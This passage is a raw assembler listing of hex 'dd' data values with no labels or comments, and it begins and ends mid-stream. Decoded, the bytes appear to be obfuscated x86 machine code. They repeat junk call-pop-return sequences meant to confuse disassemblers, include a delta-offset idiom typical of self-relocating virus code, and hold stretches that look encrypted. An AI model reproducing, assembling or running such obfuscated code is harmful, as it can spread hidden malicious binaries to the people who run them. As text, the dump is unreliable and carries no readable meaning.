24448104h, 1904h, 0C3534300h dd 0B0B313FEh, 0BD89FA53h, 61E0F25h, 280BD681h, 0C32B6CDAh dd 2F9B58BEh, 8343D55h, 860F0000h, 30h, 0E9F28B66h, 2Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2CC35343h dd 106F1199h, 0B1BD3160h, 61061E1Ch, 0C38BC08Bh, 6AD88Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 14E9EAC3h, 1F000000h, 5696BE6Fh, 6B5ED7D7h, 78AC9441h dd 0E9EC1ABCh, 0C7F2FA90h, 1E07F585h, 9EED3506h, 50006A3Ah dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 185A0B5Ch, 71B58B07h, 66061E29h, 54CF681h, 6AC08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 7E9F7C3h, 3D000000h, 0E778DD73h, 0BD818F73h, 61E14EDh dd 7D0h, 30850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 772B0BC3h, 65C2CEB9h dd 8B54B8A3h, 0ED85FFFEh, 0F061E14h, 0B5FFF7B7h, 61E14EDh dd 0CE9h, 49881900h, 589A6326h, 1337B4DEh, 0C195FFBAh dd 6A061E26h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 8537C351h, 0E8C1652h, 81AE8B31h dd 425128F6h, 3FC78137h, 907D1FA5h, 50006A40h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BCE09465h dd 451B58Bh, 0BD83061Eh, 61E1DB1h, 0B9840F00h, 0F000000h dd 0CE9F0BFh, 0B3000000h, 0EE2793C4h, 0D44CBDB3h, 83732D60h dd 1E18D1BDh, 840F0006h, 98h, 8E9h, 3AB9CB00h, 0E549398Bh dd 0B195FFA9h, 6A061E1Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0B7FC357h, 61840FC0h dd 0F8000000h, 8DF88B66h, 1E4CB88Dh, 46BE6606h, 5B851h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0B4753FC3h, 662C96E4h, 0E1FFFE8Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B7C35242h, 68F0Fh dd 0B58B0000h, 61E3241h, 2D1BD83h, 0F00061Eh, 5C884h, 0FE900h dd 0FCE50000h, 2A4253D8h, 19FEE3DCh, 629DBC31h, 0D1BD83B7h dd 61E18h, 5A7840Fh, 0BD290000h, 61E31EDh, 798D8Dh, 6A061Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0A2EFDCC3h, 1C75189h, 44B27C84h, 1981B533h, 181061Eh dd 1499CFCBh, 0ED9B589h, 41C7061Eh, 706B3404h, 57006ACEh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 81DFD97Bh, 9FADDFCFh, 441816Fh, 31D6D710h, 6AFAB70Fh dd 11E800h, 59760000h, 0E6B63A12h, 8D19A2DFh, 2EA2F237h dd 665F317Ah, 28B4C681h, 79858D5Fh, 6A061E00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 52D1C352h, 5D99704Ah, 484ADFBEh, 0AE85042h, 51000000h dd 7DBAC554h, 0F5E53D4h, 5FFE8B1Ah, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 90B8C351h, 425B7393h, 0CADEB662h, 2D195FFh, 9509061Eh dd 61E1C3Dh, 798D8Dh, 850F061Eh, 6, 1D5D9D29h, 1C7061Eh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F0C35242h dd 0A5952946h, 0C7061E12h, 441h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8B19C8C3h dd 2BDC7256h, 5860Fh, 88BE0000h, 0E822B2CFh, 13h, 7B7E93ADh dd 0CAF2AFBBh, 124141AEh, 320E0FF2h, 89B8F71Dh, 1E2E1585h dd 0C00B5E06h, 63840Fh, 85890000h, 61E18C9h, 4CB88D8Dh dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 81CBFBC3h, 3F2FD59Dh, 8A0F4773h, 5, 0E8B049BEh dd 5B821h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0E1FFFEC3h, 1C393BBFh, 798D8D4Eh dd 0C7061E00h, 0AA727C01h, 39858944h, 81061E2Ah, 99CFCB01h dd 0DE914h, 0E9B90000h, 0E06C55BBh, 0EFC72824h, 0C7127BA7h dd 753C0441h, 6ACE78h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 1D8745C3h, 0DA6FDFAh, 44181DDh dd 31D6D710h, 24DBD8Bh, 6A061Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 53C35242h, 0FEB70F37h, 79858Dh dd 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 21F666C3h, 46834684h, 0F88B5040h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 659BC355h, 0BD8BBEE2h, 61E1705h, 3045BD8Bh dd 95FF061Eh, 61E02D1h, 10E960h, 0F0C20000h, 7D309FB3h dd 0BAE18B82h, 4CCD5DD1h, 8D619AC4h, 1E00798Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0B56B026Bh, 0BE66DAF1h, 1C79588h, 0 dd 0C7FEBF0Fh, 441h, 0EE810000h, 37577D1h, 0BF3BF0Fh, 89840FC0h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8D02C352h, 1E4CB88Dh, 5B806h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BD8B23C3h, 61E09E9h, 6AE1FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0EF3682C3h dd 0F0DEBC1Ch, 11E9h, 0B87D300h, 0EA722CE7h, 8B4FAD12h dd 1AEDD77Ch, 0BD893D93h, 61E1255h, 798D8Dh, 8589061Eh dd 61E1809h, 5800Fh, 81660000h, 0C7228EF7h, 0CA95A501h dd 53006A54h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8138C76Bh, 99CFCB01h, 51006A14h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E837D3DCh dd 8BE28CCAh, 1E1559BDh, 0CE906h, 97C40000h, 1C41A37Ch dd 3222778Eh, 41C7E429h, 5F596904h, 55006ACEh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0C1E53180h dd 31D3211Fh, 1E2C919Dh, 4418106h, 31D6D710h, 7E956h, 0FAD0000h dd 0E08A65F3h, 0BD8B5F12h, 61E3085h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8D1B5BC3h dd 0F730B9B1h, 2C21BD89h, 858D061Eh, 61E0079h, 48950F8h dd 9E924h, 0E8770000h, 0AFB9460Ah, 0FF74D5C0h, 1E02D195h dd 6E906h, 0BFA10000h, 0D3D15803h, 798D8Dh, 6A061Eh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BE66DBC3h, 1C70CC3h, 0 dd 141D8D89h, 41C7061Eh, 4, 85B58B00h, 66061E20h, 0C00BF18Bh dd 73840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8BD339C3h, 1E03E9BDh, 0B88D8D06h dd 6A061E4Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 313DC357h, 72202418h, 8B75AEB6h dd 7E8F3h, 48C50000h, 7202708Dh, 0A18501D0h, 5F061E2Ah dd 5B8h, 0DEBF6600h, 8BE1FF04h, 1E2FC1BDh, 0E9CA0306h dd 0FFFFF183h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 8EC35343h, 8F8592FDh, 11800Fh, 6E90000h, 85000000h dd 8DE7521Ch, 29BD8B45h, 8B061E09h, 1E137DBDh, 8BFE8B06h dd 0F68166C1h, 4EB0E3Eh, 0 dd 63EE8166h, 0F0B70F67h, 19DD858Dh, 6A061Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D221BCC3h dd 0E87B5528h, 66AAB7AEh, 9079E0BEh, 579970BEh, 800F5043h dd 19h, 14E9h, 0B62DB500h, 0F0232BF7h, 2AAC7E0Ah, 6F853206h dd 57F24A04h, 0B58B9045h, 61E1D8Dh, 0F38B006Ah, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0A45EE6C3h, 285BC109h, 810F5644h, 6, 32BDBD29h, 8B5E061Eh dd 1E20BDB5h, 7F858D06h, 0BE0621E2h, 322F02D9h, 6005C083h dd 4359D89h, 61F5061Eh, 24048950h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0F6C35646h, 171D9589h, 6A061Eh dd 6880Fh, 0B58B0000h, 61E2F6Dh, 840F006Ah, 0 dd 21ED95FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0BE59A7C3h, 7CACACFBh, 94B69D8Dh dd 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0DDD72CC3h, 3D7E7D34h, 0D3FFD657h, 1E41B523h dd 85FF061Eh, 61E1D91h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7C35242h, 0EBEFDB3Fh, 0E9649CF6h, 902h dd 0E8h, 0ED815D00h, 621E289h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 15C35343h, 0D64B21A7h, 0EDBD8101h dd 0D0061E14h, 0F000007h, 13686h, 619D2900h, 8B061E17h dd 1E15219Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 95892C1Eh, 61E19C1h, 0C458D09h, 0E381061Eh dd 100h, 7B5B589h, 0DB0B061Eh, 0A3850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0A7D01BC3h, 2BF38B66h, 1E00BDB5h, 4BD8306h, 621E1h dd 2F840Fh, 66560000h, 0B85ECE81h, 8FE95Eh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0C34DF5C3h, 1BA4E0ECh, 485C744h, 10621E1h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 434DC351h, 0D53475BFh, 0D4FABA70h, 0E1DB50Bh dd 32E9061Eh, 8B000000h, 1E020DB5h, 485C706h, 621E1h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0D78BC355h, 0B3BE6632h, 219D8D36h, 0F061E15h dd 68Eh, 0A9BD8900h, 81061E22h, 0FFFEFF23h, 5FCE81FFh dd 66030E79h, 0C3F6DB8Ch, 82840F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 91E1C350h, 0FF5AA431h, 1E1A8D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8D898284h dd 61E1D2Dh, 2C118509h, 0E990061Eh, 11h, 0BFE32B37h, 0A12949D5h dd 0FF670B07h, 4D9BFDA1h, 52505099h, 68A0Fh, 830F0000h dd 0 dd 0F28B310Fh, 8990585Ah, 1E1D69B5h, 3C4E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0EAF28FC3h, 7A209C92h, 8B00B033h, 1E2F5DB5h, 8B70E606h dd 6A71E4F2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0D21FC357h, 81BEE0C6h, 0D8B60F1Ah dd 659D8960h, 8B061E29h, 6BA61DEh, 29000000h, 1E03619Dh dd 60C38B06h, 2BF59589h, 8166061Eh, 611315F2h, 6A04E8C1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5894C350h, 1485B58Bh, 0F766061Eh, 0F1BF0FE2h dd 0B58BD82Bh, 61E02C9h, 241C8950h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0B7C35040h, 5A7D3814h, 0BF0FE0DAh dd 0FE9F1h, 743E0000h, 7A6D2E3Fh, 43E152FEh, 0AE7559F3h dd 0EDB5FFBAh, 6A061E14h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 5941C357h, 68A0FFBh dd 29000000h, 1E051985h, 0ADBE6606h, 0C195FF0Ch, 0B0061E26h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 7CB0363Dh, 214D9D31h, 70E6061Eh, 0A20AEBBEh dd 6A71E479h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 3134C351h, 28A61EF1h, 7DE1C4E9h dd 29DDB58Bh, 613C061Eh, 23C830Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0BF54DC3h dd 4AECCDFDh, 0F0F681CAh, 665EDE3Dh, 0F467C681h, 6AD8B60Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 5F02C353h, 84BD3BD0h, 6BA8DD2h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0D4BCC355h, 0E8360C10h, 0Eh, 6E2C83F4h, 76BCF434h dd 6F68EB99h, 8B5E36E1h, 0D5B58BC3h, 0C1061E01h, 6A04E8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 29052FC3h, 0B1EE9535h, 6890F54h, 89000000h, 1E0F118Dh dd 0CE906h, 0FBDA0000h, 0C11501B5h, 888CD8AFh, 0F76683E2h dd 0D82BF8E2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 6FC35747h, 0A91FF9FFh, 0D1C6C5F8h, 52006A58h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0BAF2BF4Ah, 50A7CE44h, 8D8958E0h, 61E2A05h, 880FD82Bh dd 106h, 1319D29h, 0B9FC061Eh, 7, 236DB523h, 0C183061Eh dd 0F2B70F00h, 860FD93Bh, 0E6h, 0DE9h, 6303B800h, 14F31061h dd 0E985DCF4h, 0F08BB3FFh, 6AD98C66h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0D8A6C351h dd 0F600E84Dh, 840F04C1h, 76h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 3CC35343h, 0BFD85844h, 0AD8D8970h dd 0FF061E13h, 1E1A8D95h, 3DB50306h, 5B061E22h, 5E9C32Bh dd 0FD000000h, 2CD84F64h, 8343Dh, 2B860F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0B7C9C352h, 0E9954DDFh, 36h, 1ADB523h, 0C08B061Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9C35343h dd 0A3AF12CCh, 0AC205E8Ah, 0F78B66E4h, 0EE59D89h, 0C38B061Eh dd 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 7280E7C3h, 7A6E1AD6h, 89958971h, 0C7061E1Ah dd 1E226D85h, 5D053306h, 0F2DE811Bh, 8B74890Ch, 0EDBD81C0h dd 0D0061E14h, 0F000007h, 0E85h, 99B58B00h, 8B061E31h dd 0ED85FFF3h, 0FF061E14h, 1E14EDB5h, 0C195FF06h, 6A061E26h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0CB97C353h, 8B90F38Bh, 0BE857D8h, 4C000000h dd 0F61A0EA7h, 0F96E6BADh, 85897758h, 61E2965h, 0BD835E5Eh dd 61E3351h, 17840F00h, 89000000h, 1E024DB5h, 34DE8106h dd 0E90E9603h, 25Dh, 2276C681h, 0DF8C1EB1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C4C35040h, 7879D19Eh dd 38823843h, 7C9B589h, 0F766061Eh, 0F0004C7h, 22085h dd 57FF2B00h, 0CE9h, 30470100h, 0FCEE6635h, 0A5BDA29Bh dd 9D8D5E7Dh, 621EB0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 21C35545h, 61B76BF4h, 0BD89E0DCh, 61E143Dh dd 0EDB58B53h, 5E061E29h, 0DE950h, 64DE0000h, 89344936h dd 0D7130203h, 89F0C5EAh, 6A241Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0F45553C3h, 0D77AFCBFh dd 66177C4Bh, 64C2A7BEh, 35FFh, 0E9500000h, 5, 0E3589527h dd 830F5E5Ah, 6, 2FD98D89h, 8964061Eh, 25h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 4A10A2B4h, 0A1EE8166h, 747BBE0Bh, 0C48B6EF7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8CC35545h, 0DC416323h dd 89DD3640h, 1E00C595h, 0EB01CD06h, 9E900h, 9BF10000h dd 9DAB8301h, 6A534AC7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1D96C355h, 8F641AB3h dd 5, 0D5B58B00h, 83061E0Dh, 0C00B04C4h, 0D3840Fh, 0BF0F0000h dd 0B8BD8DF7h, 6A061E4Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 4A70C351h, 5B87A96h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 5D58C355h, 7D4FAF4Eh, 0E7FF1657h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F0C35040h dd 0F86C4D94h, 5C8B572Eh, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0FC94C351h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7EC35545h dd 6E8A35BEh, 0E9CA2B2Ah, 0FFFFF710h, 759B58Bh, 800F061Eh dd 6, 1FB19589h, 0C18B061Eh, 2D9B52Bh, 0F38B061Eh, 4EBh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 7D6F74C3h, 8528E237h, 0DD858DF8h, 66061E19h dd 50BB6BBFh, 0F98B5250h, 0AE9310Fh, 79000000h, 0DB47E2A4h dd 82235D97h, 89585AC1h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 5D764C3h, 12E9C1h, 86120000h dd 0DED39598h, 726135DDh, 1B6FA28Dh, 0EB83C1A1h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 64C018C3h, 57BD6CE0h, 13E9h, 3715C700h, 4C015A8Ah, 8FA9DC78h dd 77520CECh, 0C32CC656h, 1006A5Eh, 1E02AD8Dh, 71858D06h dd 0BE0621EDh, 1C4B3F38h, 2905C083h, 1E32DDBDh, 8B669006h dd 0F18B50F7h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 2CCB3822h, 7D0CBE66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0E305A9C3h, 6AF9B70Fh dd 0EE68100h, 0FF570600h, 1E21ED95h, 7E906h, 585E0000h dd 0B16EF3E2h, 0B69D8DD4h, 6A062194h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7690C353h dd 12E81015h, 1C000000h, 18D99A4Ah, 8930CB3Ch, 3D1890D7h dd 80547641h, 0BE859h, 3B850000h, 6DB04D10h, 0BDCEBA1Ch dd 5BBE6639h, 665E5F3Ah, 0B330CF81h, 0F56D3FFh, 683h, 89BD2300h dd 5E061E07h, 1D9185FFh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0CC67C2C3h, 7BCDB2B0h dd 0BD89E320h, 61E19F5h, 0EBB8A2BFh, 90EE938h, 0E80000h dd 5D000000h, 0ED7BED81h, 0BD8B0621h, 61E2211h, 14EDBD81h dd 7D0061Eh, 860F0000h, 1E9h, 6E857h, 0CB2F0000h, 0B561EE85h dd 12E9h, 7C39E400h, 22BA08FDh, 0B33EC3D7h, 0EA2A080Dh dd 5FE6DE3Ah, 0F99D8B5Eh, 6A061E0Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A858C351h dd 0E3818Dh, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 44F0C356h, 0F099AD4Ch dd 0B70F38E0h, 0FDB0BFEh, 10685h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0C850FC8h dd 0F000000h, 689h, 0FDBD0B00h, 57061E2Ch, 0BE8h, 0A950A600h dd 7296B2FBh, 8F4FD11Ch, 8C0Fh, 5F5E0000h, 0EB92BD83h dd 0F000621h, 6C84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 5AC06E80h, 0C1CE8156h dd 5F68815Dh, 0B2E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0A9DE07FEh, 21E7549h dd 10E94B60h, 0CF000000h, 42F5EA27h, 0D173F1ECh, 0F78B0874h dd 0B5A5866h, 1E0D71B5h, 9285C706h, 10621EBh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8B9EC355h, 1E2CE5B5h, 41E906h, 10E90000h dd 0D7000000h, 89CFAB2h, 8438843h, 0EA4E5EB0h, 0C7119566h dd 21EB9285h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0E18D89E0h, 8D061E22h dd 1E0DF99Dh, 31B58B06h, 81061E2Bh, 0FFFEFF23h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0CA755D89h, 8BB126B7h, 1E04C1BDh, 0DB8C6606h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C4C35747h, 60553F41h dd 1AF18D33h, 0BE60061Eh, 6E956D76h, 8A0Fh, 61610000h dd 15259D89h, 0C3F6061Eh, 79840F04h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0FFDEC357h, 1E1A8D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 3DF8DB1h, 8BF9C238h dd 1E0281B5h, 50605006h, 880Fh, 66580000h, 61FB91BAh, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0FEC8C356h, 3F8E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0DE8279Bh dd 6B000000h, 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h, 29DDB58Bh dd 0B05E061Eh, 0E5BD8B00h, 66061E09h, 70E6FB8Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 23C35242h, 11E9BCh dd 16910000h, 78F001h, 9B80864Ah, 3BD7AAE6h, 667FA85Ah dd 0FED91BFh, 71E4FFBFh, 7E8h, 0DC49AE00h, 1AD84DC8h, 1609BD23h dd 0F5E061Eh, 8C0FD8B6h, 0 dd 6BAh, 8DFDBF00h, 0C38B51D3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 21C35646h, 4C7B690Bh, 1EDE2DAh dd 1E052185h, 4E8C106h, 290D9589h, 0F766061Eh, 55006AE2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 9CFF4A5h, 1E194995h, 0FE906h, 32640000h, 40581C2Bh dd 0C48F71D2h, 40C18CBFh, 6AD82BE5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F2E6C351h dd 39C56DFBh, 8B66F6B3h, 8B6650FBh, 241C89FBh, 14EDB5FFh dd 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 3C924AC3h, 73E2D805h, 0BE9h, 7BC62F00h, 0D1B9C023h dd 0E1E63042h, 26C195FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0ACBDD3C3h, 0B589F0F3h dd 61E0011h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E67558C3h, 0C9BD8B70h, 0E4061E2Bh dd 0F6CF8171h, 3C231854h, 1A830F61h, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F14C356h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0C4405AC3h, 82A327CEh, 830F5741h dd 6, 2FEDBD8Bh, 0BA5F061Eh, 6, 0CED9D29h, 0C38B061Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h dd 0FA92B75h, 18Ah, 0E8C1F900h, 0F9852904h, 66061E21h dd 0BF0FE2F7h, 6AD82BFFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0BBCDC355h, 0E807BEC9h dd 5CBE756Ah, 5830500Fh, 1949BD8Bh, 0D82B061Eh, 14F880Fh dd 0BD8B0000h, 61E0DE5h, 7B9h, 6D958900h, 83061E32h, 6A00C1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 5829BEC3h, 4CDDDFC7h, 0BD8BC574h, 61E217Dh, 860FD93Bh dd 109h, 8C78166h, 0D781666Fh, 8C6641D3h, 50006AD9h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 33BDF8B1h, 1BFE7E4h, 1E09559Dh, 4C1F606h, 8A840Fh, 95FF0000h dd 61E1A8Dh, 2C61B503h, 0F95B061Eh, 6AC32Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 343DBDC3h dd 0F000008h, 5386h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 5737D8A0h, 89394C70h dd 1E1AA195h, 0A8C0F06h, 0F000000h, 48Fh, 0C9BE6600h, 57E9CEh dd 11E90000h, 6F000000h, 0D00935F5h, 8C6D2025h, 5D09780Fh dd 87C59BF5h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 11CE06C3h, 2F558589h, 10E9061Eh dd 0BC000000h, 6C09598Fh, 295C8234h, 0A9DE07FEh, 311E7549h dd 1E2699BDh, 8BC38B06h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 4EFD9285h, 9D298A0Fh dd 61E0CEDh, 152185C7h, 0D715061Eh, 0BF0F589Bh, 6AC08BF0h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0E1F4C350h, 0AB28A8CDh, 91BD8960h, 8B061E08h dd 0BD8161CBh, 61E14EDh, 7D0h, 44850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8EFE7EC3h, 80D0BEA1h, 0FE9B585h, 6F000000h, 3DF0ECB3h dd 0D0FC1D29h, 5E03859Eh, 9D89A6BFh, 61E0839h, 14ED85FFh dd 0B5FF061Eh, 61E14EDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 5AC35141h, 12AF5BBEh, 66435020h, 0FCB8DE81h dd 0FF5FFC52h, 1E26C195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0DD598B1Ah dd 5358A516h, 0F78178C2h, 16119E8Fh, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4D9DA96Ah dd 3A0D05DBh, 459D8987h, 89061E2Bh, 1E0D7D9Dh, 79B58906h dd 89061E21h, 1E127DB5h, 0C1BD2906h, 6A061E04h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0F07DC357h, 